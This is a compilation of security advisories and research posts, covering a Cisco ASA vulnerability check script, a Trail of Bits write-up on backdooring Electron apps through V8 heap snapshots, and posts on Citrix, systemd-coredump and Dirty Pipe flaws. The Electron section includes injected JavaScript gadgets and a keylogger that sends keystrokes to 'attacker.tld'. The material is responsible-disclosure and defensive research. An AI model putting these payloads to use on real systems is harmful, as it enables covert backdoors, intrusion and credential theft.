The script is available there to check if an ASA is vulnerable.

https://gist.cnw.circl.lu/alexandre.dulaunoy/95ca6ae6259e4c8b899b916ee8b3d4a6

#!/bin/bash

# CIRCL - 2025
# Test CVE 2025-20362
# Ref : https://attackerkb.com/topics/Szq5u0xgUX/cve-2025-20362/rapid7-analysis

if [ -z "$1" ]; then
  echo "Test for CVE-2025-20362"
  echo "Usage: $0 <IP>"
  exit 1
fi

IP="$1"

echo "Looking for CVE-2025-20362"
response=$(OPENSSL_CONF=<( 
  echo -e 'openssl_conf = openssl_init\n\n[openssl_init]\nssl_conf = ssl_sect\n\n[ssl_sect]'
  echo -e 'system_default = system_default_sect\n\n[system_default_sect]\nOptions = UnsafeLegacyRenegotiation\n'
  cat /etc/ssl/openssl.cnf
) curl "https://$IP/+CSCOU+//../+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz" \
  -S --insecure -v -o - --path-as-is 2>&1)

if echo "$response" | grep -q "HTTP/1.1 404"; then
  echo "Not vulnerable"
elif echo "$response" | grep -q "HTTP/1.1 200"; then
  echo "Vulnerable"
fi

Command injection vulnerability in FTP-Flask-python. The project seems no more maintained. Last update the April 28, 2017.

Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more -The Trail of Bits Blog

On my first project shadow at Trail of Bits, I investigated a variety of popular Electron-based applications for code integrity checking bypasses. I discovered a way to backdoor Signal, 1Password (patched in v8.11.8-40), Slack, and Chrome by tampering with executable content outside of their code integrity checks. Looking for vulnerabilities that would allow an attacker to slip malicious code into a signed application, I identified a framework-level bypass that affects nearly all applications built on top of the Chromium engine. The following is a dive into Electron CVE-2025-55305, a practical example of backdooring applications by overwriting V8 heap snapshot files.

Application integrity isn’t a new problem

Ensuring code integrity is not a new problem, but approaches to it vary between software ecosystems. The Electron project provides a combination of fuses (a.k.a. feature toggles) to enforce integrity checking on executable script components. These fuses are not on by default, and must be explicitly enabled by the developer.

Figure 1: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar enabled in Slack

EnableEmbeddedAsarIntegrityValidation ensures that the archive containing Electron’s application code is byte-for-byte what the developer packaged with the application, and OnlyLoadAppFromAsar ensures the archive is the only place application code is loaded from. In combination, these two fuses comprise Electron’s approach to ensuring that any JavaScript that the application loads is tamper-checked before execution. Coupled with OS-level executable code signing, this is intended to provide a guarantee that the code the application runs is exactly what the developer distributed. The loss of this guarantee opens a Pandora’s box of issues, most notably that attackers can:

• Inject persistent, stealthy backdoors into vulnerable applications
• Distribute tampered-with applications that nonetheless pass signature validation

Far from being theoretical, abuse of Electron applications without integrity checking is widespread enough to have its own MITRE ATT&CK technique entry: T1218.015. Loki C2, a popular command and control framework based on this technique, uses backdoored versions of trusted applications (VS Code, Cursor, GitHub Desktop, Tidal, and more) to evade endpoint detection and response (EDR) software such as CrowdStrike Falcon as well as bypass application controls like AppLocker. Knowing this, it’s no surprise to find that organizations with high security requirements like 1Password, Signal, and Slack enable integrity checking in their Electron applications in order to mitigate the risk of those applications becoming the next persistence mechanism of an advanced threat actor.

From frozen pizza to unsigned code execution

In the words of the Google V8 team,

Being Chromium-based, Electron apps inherit the use of “V8 heap snapshot” files to speed up loading of their various browser components (see main, preload, renderer). In each component, application logic is executed in a freshly instantiated V8 JavaScript engine sandbox (referred to as a V8 isolate). These V8 isolates are expensive to create from scratch, and therefore Chromium-based apps load previously created baseline state from heap snapshots.

While heap snapshots aren’t outright executable on deserialization, JavaScript builtins within can still be clobbered to achieve code execution. All one would need is a gadget that was executed with high consistency by the host application, and unsigned code could be loaded into any V8 isolate. Oversight in Electron’s implementation of EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar meant it did not consider heap snapshots as “executable” application content, and thus it did not perform integrity checking on the snapshots. Chromium does not perform integrity checks on heap snapshots either.

Tampering with heap snapshots is particularly problematic when applications are installed to user-writable locations (such as %AppData%\Local on Windows and /Applications on macOS, with certain limitations). With the majority of Chromium-derivative applications installing to user-writable paths by default, an attacker with filesystem write access can quietly write a snapshot backdoor to an existing application or bring their own vulnerable application (all without privilege elevation). The snapshot doesn’t present as an executable file, is not rejected by OS code-signing checks, and is not integrity-checked by Chromium or Electron. This makes it an excellent candidate for stealthy persistence, and its inclusion in all V8 isolates makes it an incredibly effective Chromium-based application backdoor.

Gadget hunting

While creating custom V8 heap snapshots normally involves painfully compiling Chromium, Electron thankfully provides a prebuilt component usable for this purpose. Therefore, it’s easy to create a payload that clobbers members of the global scope, and subsequently to run a target application with the crafted snapshot.

// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Copy the resulting over file your application's `v8_context_snapshot.bin`

const orig = Array.isArray;

// Use the V8 builtin `Array.isArray` as a gadget.
Array.isArray = function() {
    // Attacker code executed when Array.isArray is called.
    throw new Error("testing isArray gadget");
};

Figure 2: A simple gadget example

Clobbering Array.isArray with a gadget that unconditionally throws an error results in an expected crash, demonstrating that integrity-checked applications happily include unsigned JavaScript from their V8 isolate snapshot. Different builtins can be discovered in different V8 isolates, which allows gadgets to forensically discover which isolate they are running in. For instance, Node.js’s process.pid and various Node.js methods are uniquely present in the main process’s V8 isolate. The example below demonstrates how gadgets can use this technique to selectively deploy code in different isolates.

const orig = Array.isArray;

// Clobber the V8 builtin `Array.isArray` with a custom implementation
// This is used in diverse contexts across an application's lifecycle
Array.isArray = function() {
    // Wait to be loaded in the main process, using process.pid as a sentinel
    try {
        if (!process || !process.pid) {
            return orig(...arguments);
        }
    } catch (_) {
         // Accessing undefined builtins throws an exception in some isolates
         return orig(...arguments);
    }

    // Run malicious payload once
    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        console.log('[payload] isArray hook started ...');

        // Demonstrate the presence of elevated node functionality
        console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
        process.exit(0);
    }
    return orig(...arguments);
};

Figure 3.1: Hunting for Node.js capabilities in the Electron main proces

Figure 3.2: Hunting for Node.js capabilities in the Electron main process

Developing a proof of concept

With an effective gadget used by all isolates in Electron applications, it was possible to craft demonstrations of trivial application backdoors in notable Electron applications. To capture the impact, we chose Slack, 1Password, and Signal as high-profile proofs of concept. Note that with unconstrained capabilities in the main process, even more extensive bypasses of application controls (CSP, context isolation) are feasible.

const orig = Array.isArray;
Array.isArray = function() {
    // Wait to be loaded in a browser context
    try {
        if (!alert) {
            return orig(...arguments);
        }
    } catch (_) {
        return orig(...arguments);
    }

    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        setInterval(() => {
            window.onkeydown = (e) => {
                fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {"mode": "no-cors"})
            }
        }, 1000);
    }
    return orig(...arguments);
};

Figure 4: Basic example of embedding a keylogger in Slack

With proofs of concept in hand, the team reported this vulnerability to the Electron maintainers as a bypass of the integrity checking fuses. Electron’s maintainers promptly issued CVE-2025-55305. We want to thank the Electron team for handling this report both professionally and expeditiously. They were great to work with, and their strong commitment to user security is commendable. Likewise, we would like to thank the teams at Signal, 1Password and Slack for their quick response to our courtesy disclosure of the issue.

“We were made aware of Electron CVE-2025-55305 through Trail of Bits responsible disclosure and 1Password has patched the vulnerability in v8.11.8-40. Protecting our customers’ data is always our highest priority, and we encourage all customers to update to the latest version of 1Password to ensure they remain secure.” Jacob DePriest, CISO at 1Password

The future looks Chrome

A majority of Electron applications leave integrity checking disabled by default, and most that do enable it are vulnerable to snapshot tampering. However, snapshot-based backdoors pose a risk not just to the Electron ecosystem, but to Chromium-based applications as a whole. My colleague, Emilio Lopez, has taken this technique further by demonstrating the possibility of locally backdooring Chrome and its derivative browsers using a similar technique. Given that these browsers are often installed in user-writable locations, this poses another risk of undetected persistent backdoors.

Despite providing similar mitigations for other code integrity risks, the Chrome team states that local attacks are explicitly excluded from their threat model. We still consider this to be a realistic and plausible avenue for persistent and undetected compromise of a user’s browser, especially since an attacker could distribute copies of Chrome that contain malicious code but still pass code signing. As a mitigation, authors of Chromium-derivative projects should consider applying the same integrity checking controls implemented by the Electron team.

If you’re concerned about similar vulnerabilities in your applications or need assistance implementing proper integrity controls, reach out to our team.

Ref: https://doublepulsar.com/citrix-forgot-to-tell-you-cve-2025-6543-has-been-used-as-a-zero-day-since-may-2025-d76574e2dd2c

Back in late June, Citrix posted a patch for CVE-2025–6543, which they described as “Memory overflow vulnerability leading to unintended control flow and Denial of Service”. Denial of service? Piff the magic dragon, who cares.

No technical details were ever published about the vulnerability. That changes today.

What they forgot to tell you: it allows remote code execution, it was used to widespread compromise Netscaler remote access systems and maintain network access even after patching, webshells have been deployed, and Citrix knew this and just didn’t mention it.

It has compromised government and legal services worldwide. Citrix provided customers on request, under weird conditions, a script to check for compromise.. but didn’t explain what was happening, and the script was incomplete.

The exact same threat actor was also exploiting CVE-2025–5777 aka CitrixBleed 2 to steal user sessions. This was also being exploited as a zero day. I am investigating if it’s also the same threat actor exploiting CVE-2025–7775, the latest Netscaler vulnerability — more on that soon.

NCSC Netherlands have a rather cool report out about CVE-2025–6543, where they’ve essentially done Citrix’s job for them:

[## Casus: Citrix kwetsbaarheid (Update 13-08-2025)

Via deze pagina biedt het NCSC een update op de eerdere berichtgeving. We bieden hierin de publicatie van twee nieuwe…

www.ncsc.nl](https://www.ncsc.nl/actueel/nieuws/2025/07/22/casus-citrix-kwetsbaarheid?source=post_page-----d76574e2dd2c---------------------------------------)

There’s lots of detail in there, but to pull a few things out of their report:

“The NCSC notes that several critical organizations within the Netherlands have been successfully attacked.

Zero-day vulnerability

Further research shows that vulnerability has occurred since at least early may was abused by the attacker. Op 25 june citrix published information about vulnerability CVE-2025–6543 and offered a patch to fix it. To this end, we are talking about a zero-day attack, as the vulnerability was abused before it was made public.

Forensics at affected organizations show that traces have been actively erased by the attacker. This makes forensic investigation challenging.”

I recommend reading their report. It’s really good. NCSC Netherlands are gods amongst cyber.

So what’s going on really?

CVE-2025–6543 is a vulnerability which allows an attacker to supply a client certificate, which overwrites memory. This then allows code execution on the box.

How? Calls are made to the Netscaler box to the endpoint /cgi/api/login, with a client supplied certificate. By sending hundreds of requests, you can overwrite chunks of memory in the hope of executing code.

This was happening long before the patch was released, and then devices were backdoored with webshells and other goodies which persist post patching. It is still unclear the extend of the activity — NCSC NL and others are investigating. It is clear the attackers covered their tracks, too.

Hunting

I would recommend, if logs exist, checking for web access requests to /cgi/api/login on your Netscaler devices. These will be large POST requests. It is extremely unlikely these are legit requests.

If you see a series of requests in quick succession, investigate. You will also lines in your Netscaler logs indicating error code 1245184 at the same time — this error code means a client supplied certificate is invalid.

• https://github.com/rxerium/CVE-2025-8875-CVE-2025-8876

• https://github.com/rxerium/CVE-2025-8875-CVE-2025-8876

Analysis of CVE-2025-4598: systemd-coredump

Ref: https://blogs.oracle.com/linux/post/analysis-of-cve-2025-4598

CIQ | The real danger of systemd-coredump CVE-2025-4598

TL;DR: A critical vulnerability in systemd-coredump remains unfixed in Enterprise Linux 9, allowing attackers to steal password hashes and cryptographic keys within seconds - but Rocky Linux from CIQ - Hardened (RLC-H) mitigates this:

• Attackers with basic system access can exploit this vulnerability to extract sensitive data (password hashes, crypto keys) from crashed privileged programs in seconds, not hours or days
• EL9 systems are vulnerable by default, while EL7/8 are not affected in default configuration - making this a significant risk for organizations running modern Enterprise Linux deployments
• The attack requires no special skills or complex setup - attackers can trigger crashes, manipulate process IDs instantly, and win timing races reliably across different systems
• RLC-H blocks this attack through multiple defense layers: hardened sysctl settings, restricted SUID program access, and stronger password policy and hashing
• Live demonstrations show vanilla Rocky Linux 9.6 compromised in under 5 seconds with weak passwords cracked immediately

Bottom line: This isn't theoretical - it's a working exploit against unpatched EL9 systems.

Introduction

It's been over two months since the public disclosure of systemd-coredump CVE-2025-4598 by Qualys, yet as of this writing the vulnerability remains unfixed in upstream Enterprise Linux, and most importantly fully exposed by default on EL9. While RLC-H, which builds on EL9, has provided effective mitigations from the start, there is ongoing danger and potential implications of leaving this vulnerability for those without such protections, urging users and administrators to understand the risks and take necessary precautions.

The fact that Oracle also blogged about this CVE recently after having fixed it on the public disclosure date emphasizes the risk it presents. While Qualys and Oracle describe the vulnerability and its fixes in great detail, we demonstrate the vulnerability’s severity through its direct exploitation.

Background

When a running program crashes (or is made to crash), it may produce a so-called core dump containing the last state of the program's memory. This is intended primarily to let the program's or the distribution's developers or maintainers analyze the crash and fix any bugs that may have caused the crash. Core dumps may contain whatever data the program was working on, including sensitive information.

While the Linux kernel would normally either write core dumps to properly protected files directly (which nevertheless has some risks) or not do it at all, it also supports a mode where core dump content would be redirected to a program. It's this mode that is used by many Linux distributions for centralized and distribution-specific processing of core dumps. Because of their non-trivial nature, the various core dump processing programs tend to contain vulnerabilities. Perhaps the first batch of those - in apport as used in Ubuntu and in abrt as used (back then) in Fedora and RHEL/CentOS - were discovered by Tavis Ormandy from Google in 2015. Then more vulnerabilities were discovered in apport by others, including later in 2015 and in 2017, 2019, 2020, 2021, and in systemd-coredump (which is part of the systemd package) as used in Fedora/RHEL/CentOS by Matthias Gerstner from SUSE in 2022. This year, it was apparently time for another round of vulnerability discovery in apport and systemd-coredump, this time by the Qualys Threat Research Unit (TRU).

Vulnerability

When systemd-coredump saves core dumps to files, it makes those readable to the user who was (presumably) running the crashed program. A problem with this is that a running (or now crashed) program's privileges are not always exactly those of the user, and a running program doesn't always have just one owner throughout its lifetime. Some program executables are marked in the filesystem with the SUID ("Set user ID on execution") or/and SGID (ditto for group ID) flags or/and with a set of so-called capabilities (privileges) that the invoking user may not have had but the program would. Some other programs (most notably some of the so-called daemons) may have started execution with great privileges (commonly as the root user) and switched to run as a relatively unprivileged user afterwards. These may retain some privileged access or/and remnants of data that the user couldn't access directly. The kernel maintains a flag called "dumpable", which is correctly reset in those special cases preventing the kernel's usual creation of a user-readable core dump - but not redirection to a core dump processing program such as systemd-coredump.

Until 2022, systemd-coredump did not handle these special cases at all, so core dumps were made readable by whatever user the program appeared to be running as at time of crash. After the fix in 2022, systemd-coredump attempted to duplicate the kernel's logic in determining whether a core dump can safely be made readable to the user or not. In 2025, Qualys found that this logic may not always be looking at the actual crashed program as its process ID may have already been reused (a race condition). The new upstream systemd fix is to obtain and use a copy of the kernel's dumpable flag.

Affected systems

Although mainstream Linux distributions use systemd these days and systemd-coredump is part of the systemd package, so technically the vulnerability is present in the package, not all of these distributions and systems are actually affected. Other prerequisites for the vulnerability to be exposed are having systemd-coredump as the configured handler in the kernel.core_pattern sysctl (which systemd itself may configure, depending on its configuration) and the fs.suid_dumpable sysctl having a non-zero value. Most relevantly, these conditions are met by default on recent Fedora, EL9, and EL10, but are not on EL8 and EL7 / CentOS 7. Since Fedora has issued a systemd update with the fix promptly and EL10 is just starting to gain adoption, EL9 with its delayed fix and extensive adoption stands out as the most relevant target.

Severity

Overall risk severity is commonly measured in terms of a combination of the probability of occurrence of an event (risk probability) and its consequence (risk impact). The probability may further be combined from the likelihood of existence of the threat (such as attempted exploitation of a vulnerability) and that of the attack succeeding before the threat actor would give up (reliability of exploitation).

This particular vulnerability is exposed on the system "locally", which actually means it's subject to threats from anyone already able to run code on the system as an unprivileged user, including through remote access. Once they run pre-tested exploit code, we estimate that their probability of prompt successful exploitation on a new system is very high - more on this below.

The immediate consequence of exploiting this vulnerability is access to sensitive data, such as password hashes or cryptographic keys. Importantly, per the mostly overlooked "Last-minute update" paragraph in the Qualys advisory, sensitive data can be obtained not only from SUID programs and alike, but also from some daemon processes such as OpenSSH's sshd-session and systemd's own sd-pam. Although this only directly impacts confidentiality rather than integrity and availability, it does also impact those indirectly through use of password hashes to crack the actual passwords or through unauthorized use of cryptographic keys.

systemd upstream and Red Hat evaluated this vulnerability as having a CVSS v3.1 score of 4.7 (Medium) due to the vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N. This may have been technically correct (or not) and it needs to be consistent with how other issues are rated by the same parties, but it ends up downplaying the severity of the issue now. Further, Red Hat rated this Moderate per their own 4-point scale. We suggest it should be Important instead.

Exploitation

There's a lot of detail on exploitation in the Qualys advisory and in the oss-security thread that followed, and there are pretty diagrams in the Oracle blog post, all referenced above. So we won't repeat this here. We will instead note a few important aspects that ease exploitation:

Crashing a program such that it would dump core may sound like it'd require finding a bug in the program first, but this is not the case. For a program that (partially) runs as the user (which is the special case we're targeting anyway), this is as easy as sending a certain signal to the process.

Triggering process ID (PID) reuse may sound like it'd take a long while given the typical kernel configuration with over 4 million PIDs, but as Vegard Nossum from Oracle pointed out the kernel has a (mis)feature allowing one to set the next PID directly. Further, the kernel fails to restrict this to true root but would also process such a request from a suitable SUID root confused deputy program, one of which is known - it is newgrp. While the primary shortcoming is in the kernel, for now Vegard got a workaround accepted into upstream newgrp code - but anyway the version in EL9 is older, so it lacks that protection. Thus, deliberate PID reuse on EL9 is actually instant.

Winning the race (having PID reuse happen at just the right time) may sound like it'd take a lot of trial and error, but in our experience once the exploit program is made to work reliably on a given system it tends to succeed almost or literally from the first try also on other systems running the same or similar Linux distribution, and that's even despite of typical variation of CPU clock rate, VM vs. bare metal, etc.

With all of the above combined, the attacker can expect to have e.g. password hashes within seconds. This includes root's password hash as seen when targeting the unix_chkpwd SUID root program.

Let's just do it as a proof of concept:

First we run the exploit on Rocky Linux 9.6. It wins the race within a second (as it happens, from the third try - but retries are automated and are very quick). It dumps password hashes that originally came from /etc/shadow, including (as it happens) 3 copies of the user's (including a full line from /etc/shadow with the username and other metadata) and 1 copy of root's (an almost full line from /etc/shadow, with only the initial 3 characters missing, so we see it start with "t:" instead of "root:").

Then we run the same exploit on RLC-H 9.6. The exploit keeps failing due to RLC-H's default mitigations, so we interrupt it with Ctrl-C. We then undo 2 mitigations, deliberately weakening security: use our "control" framework to re-expose unprivileged access to the unix_chkpwd and newgrp programs, and change fs.suid_dumpable from RLC-H's safe default of 0 to 1 (2 would also work). With this, the exploit finally works (as it happens, succeeds from the first try). It also dumps password hashes with the same peculiarities as above (since we're targeting the same program, unix_chkpwd), but due to another change we made in RLC-H the hashes are of a different type.

Password cracking

Can the actual passwords realistically be inferred from the hashes? Luckily, all of these hashes are good enough that they cannot be reversed other than through testing candidate passwords against them. So our chances for success depend on how weak or strong the passwords are, and on how many guesses we can test before we'd give up.

Let's try with John the Ripper password cracking tool (latest git revision) on a rented VDS with one NVIDIA RTX 5090 GPU and 16 vCPUs from the larger AMD EPYC 9354 CPU (so this looks like 1/4th of the physical server), itself running Rocky Linux 9.6:

Demo of password hash cracking for vanilla Rocky vs. RLC-H hashes on CPU vs. GPU

Please note that delays in this recording have been capped at 1 second not to keep you waiting. Please look at the actual session durations as reported by the tool.

The hashes we got from Rocky Linux 9.6 are sha512crypt. We start by benchmarking sha512crypt at its historical default setting of 5000 rounds. The speeds are either 63k per second on the vCPUs (on all 16 of them, and using AVX-512) or 1640k per second on the GPU (26 times faster). However, EL 9.5+ upgraded the rounds setting it uses for sha512crypt from 5000 to 100000 (so by a factor of 20), so that's what our actual target hashes use. We try to crack them, first on the CPU, which shows a speed of 3150 combinations (of candidate password and target hash) per second (20x slower than our initial benchmark, as expected).

We succeed in cracking both in 5 seconds: the passwords turn out to be secret666 for user and fullaccess for root. These are very weak passwords that are within top 10k in John the Ripper's default password.lst file, which is a list of common passwords ordered for decreasing number of occurrences in breaches. Yet both of these passwords, as well as 42 more from the top 10k, are accepted by the default pwquality password policy on EL 9.6.

Then we try the same on the GPU. It also cracks the passwords, but takes 34 seconds to do so. That's because GPUs are best at larger jobs, such as testing a far larger number of candidate passwords at once. If you're familiar and look closely, the tool actually says its auto-tuned global work size is over 1 million, so that's how many candidate passwords it tests in parallel, which for weak passwords from the top 10k is unhelpful. This would be great for more complex passwords, and it actually shows a speed of over 81k combinations per second (26x faster than the vCPUs, as expected). However, for passwords so weak, we can do a better job by limiting it to testing fewer in parallel. When we do, it cracks both in under 1 second (albeit at a non-optimal speed in terms of combinations per second).

Then we move to the hashes we got from RLC-H, which are yescrypt. A benchmark shows a little over 1500 per second on the vCPUs. We then try to crack the actual hashes, which goes on at the same kind of speed for a while without success, and we interrupt. The very weak passwords we found above wouldn't have been accepted by RLC-H's default passwdqc password policy - in fact, none from the top 10k would be. yescrypt is not currently implemented on GPU and it is deliberately GPU-unfriendly by design, so by far not as much speedup is expected as we saw for sha512crypt. With the current defaults and currently available code, it is ~50 times slower to crack on this system than 9.6 default sha512crypt (1.5k vs. 81k), and that's on top of EL's recent upgrade of the sha512crypt rounds.

Defense in depth

We just saw how an unfixed vulnerability poses very real danger when defense-in-depth is lacking, and is mitigated otherwise. While RLC-H's change of default for fs.suid_dumpable fully prevents the vulnerability, its several other changes (restricted access to dangerous SUID root programs, upgraded password policy and password hashing) would have partially mitigated the vulnerability even if this main change were not present.

While we do recommend RLC-H as our supported product, we also contribute these individual enhancements to the Rocky Linux community via SIG/Security, where they can be used for DIY hardened setups based on community Rocky Linux or even on top of other Enterprise Linux distributions.

Another RLC-H and SIG/Security component that can fully prevent this vulnerability is Linux Kernel Runtime Guard (LKRG), albeit currently only in non-default configuration: its sysctl settings lkrg.umh_validate=2 or lkrg.profile_validate=4 (so-called paranoid mode) completely block Linux kernel's "usermodehelper" feature, and thus would block invocation of systemd-coredump by the kernel. We do not enable this by default because it'd also block dynamic loading of drivers, including on system bootup. We may make this setting more fine-grained in a later update, so that we'd enable just the desired defense by default.

We're also planning even further improvements to passwdqc password policy and yescrypt settings.

Traditional patching

While not the focus of this post, we do indeed expect to have this CVE patched also in the traditional manner, via our respected upstream and Rocky Linux. Separately, we're patching it for our 9.x LTS products and (as a rare exception since the delay otherwise became inappropriate) via the base RLC 9 product's FastTrack repository.

Nmap script to detect a Microsoft SharePoint instance version.

Usage:

$ nmap -p 443 --script ms-sharepoint-version.nse example.com
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-21 17:33 CEST
Nmap scan report for example.com (127.0.0.1)
Host is up (0.030s latency).

PORT    STATE SERVICE
443/tcp open  https
| ms-sharepoint-version: 
|   16.0.10376: 
|     product: SharePoint Server 2019  SharePoint Server 2019 MUI/language patch
|     build: 16.0.10376
|_    release_date: July 2021

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

More information: https://github.com/righel/ms-sharepoint-version-nse

Dirty Pipe (CVE-2022-0847) is a vulnerability in the Linux kernel which allows an attacker to overwrite files that they have read-only access to. At the time of writing, this vulnerability is 3 years old, but overwriting nearly any file without appropriate permissions using only a few system calls stood out to me. Additionally, since the exploit abuses normal kernel behavior, detecting the exploit is not an easy task.

CVE-2022-0847 affects the following Linux kernel versions, according to NIST’s NVD:

• From 5.8 up to (but not including) 5.10.102
• From 5.15 up to (but not including) 5.15.25
• From 5.16 up to (but not including) 5.16.11

The vulnerability can be weaponized to escalate privileges on older Linux systems due to the arbitrary file overwrite. It abuses a flaw in functions in the Linux kernel that allowed pipes to contain stale flag values. Because of this, a pipe could be used to write to pages in the kernel page cache, which in turn could write arbitrarily to files the user does not have write permission for.